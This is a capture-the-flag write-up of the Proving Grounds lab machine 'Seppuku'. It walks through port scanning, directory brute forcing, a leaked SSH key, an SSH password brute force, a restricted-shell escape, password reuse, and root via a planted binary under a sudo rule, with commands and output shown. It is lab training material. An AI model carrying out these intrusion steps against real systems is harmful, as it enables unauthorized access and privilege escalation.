Seppuku Writeup - Proving Grounds
Created October 7, 2026 • Last updated October 7, 2026 • 3 min read
Seppuku leaks an SSH key and a custom password list from an Apache site on port 7601. The wordlist brute forces the seppuku SSH account, which lands in a restricted shell. A root-owned password file is reused for samurai, whose sudo rule runs a non-existent binary in tanto's home; logging in as tanto with the leaked key to create that binary, then running the sudo rule as samurai, gives root.
Reconnaissance
Nmap
Scan all TCP ports and fingerprint the services.
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 80/tcp open http nginx 1.14.2 (401 Basic auth) 139/tcp open netbios-ssn Samba smbd 4.9.5-Debian 445/tcp open netbios-ssn Samba smbd 4.9.5-Debian 7080/tcp open ssl/http LiteSpeed httpd 7601/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Seppuku 8088/tcp open http LiteSpeed httpd
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
Among the web servers, the Apache site on port 7601 is titled Seppuku. Brute force its directories.
Directory discovery
Enumerate directories.
==> DIRECTORY: http://$TARGET_IP:7601/keys/ ==> DIRECTORY: http://$TARGET_IP:7601/secret/ + http://$TARGET_IP:7601/index.html (CODE:200)
Explain command
| -r | Do not recurse into discovered directories. |
Two directories hold loot: /keys/private is an SSH private key for an unknown user, and /secret holds a hostname file (seppuku) and a custom password.lst.
# /keys/private -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEAypJlwjKXf0F4YvL2gfwvoUuvB7fuGMMfCe41gLCsTsleOUy2 <snip> -----END RSA PRIVATE KEY----- # /secret/hostname seppuku # /secret/password.lst (custom wordlist) 123456 password ...
The hostname hints the username is seppuku.
Exploitation
SSH brute force
Brute force the SSH password for seppuku with the recovered wordlist.
[22][ssh] host: $TARGET_IP login: seppuku password: $SEPPUKU_PASSWORD
Explain command
| -l | Single username to try. |
| -P | Password list to spray. |
The login drops into a restricted rbash shell, and the three users (seppuku, samurai, tanto) all use rbash. Reconnect forcing a non-profile bash to escape, then read the root-owned .passwd in seppuku's home.
seppuku@seppuku:~$ cat /home/seppuku/.passwd $SAMURAI_PASSWORD seppuku@seppuku:~$ ls /home samurai seppuku tanto
Explain command
| -t | Force a pseudo-terminal running a shell that skips rbash profiles. |
The password in .passwd is reused for another user.
Privilege Escalation
Password reuse and a writable sudo target
Switch to samurai with that password and list the sudo rights.
samurai@seppuku:/home$ su samurai
Password:
samurai@seppuku:/home$ sudo -l
User samurai may run the following commands on seppuku:
(ALL) NOPASSWD: /../../../../../../home/tanto/.cgi_bin/bin /tmp/*
samurai can run /home/tanto/.cgi_bin/bin as root, but that binary does not exist. Log in as tanto with the leaked SSH key and create it, pointing at a shell.
tanto@seppuku:~$ mkdir .cgi_bin tanto@seppuku:~$ echo '/bin/bash' > .cgi_bin/bin tanto@seppuku:~$ chmod 777 .cgi_bin/bin
Explain command
| -i | Use the leaked private key for authentication. |
Back as samurai, run the sudo rule, which now executes the planted binary as root.
samurai@seppuku:/home/tanto$ sudo /../../../../../../home/tanto/.cgi_bin/bin /tmp/* root@seppuku:/home/tanto# whoami root
The sudo rule runs the attacker-controlled binary as root, giving a root shell.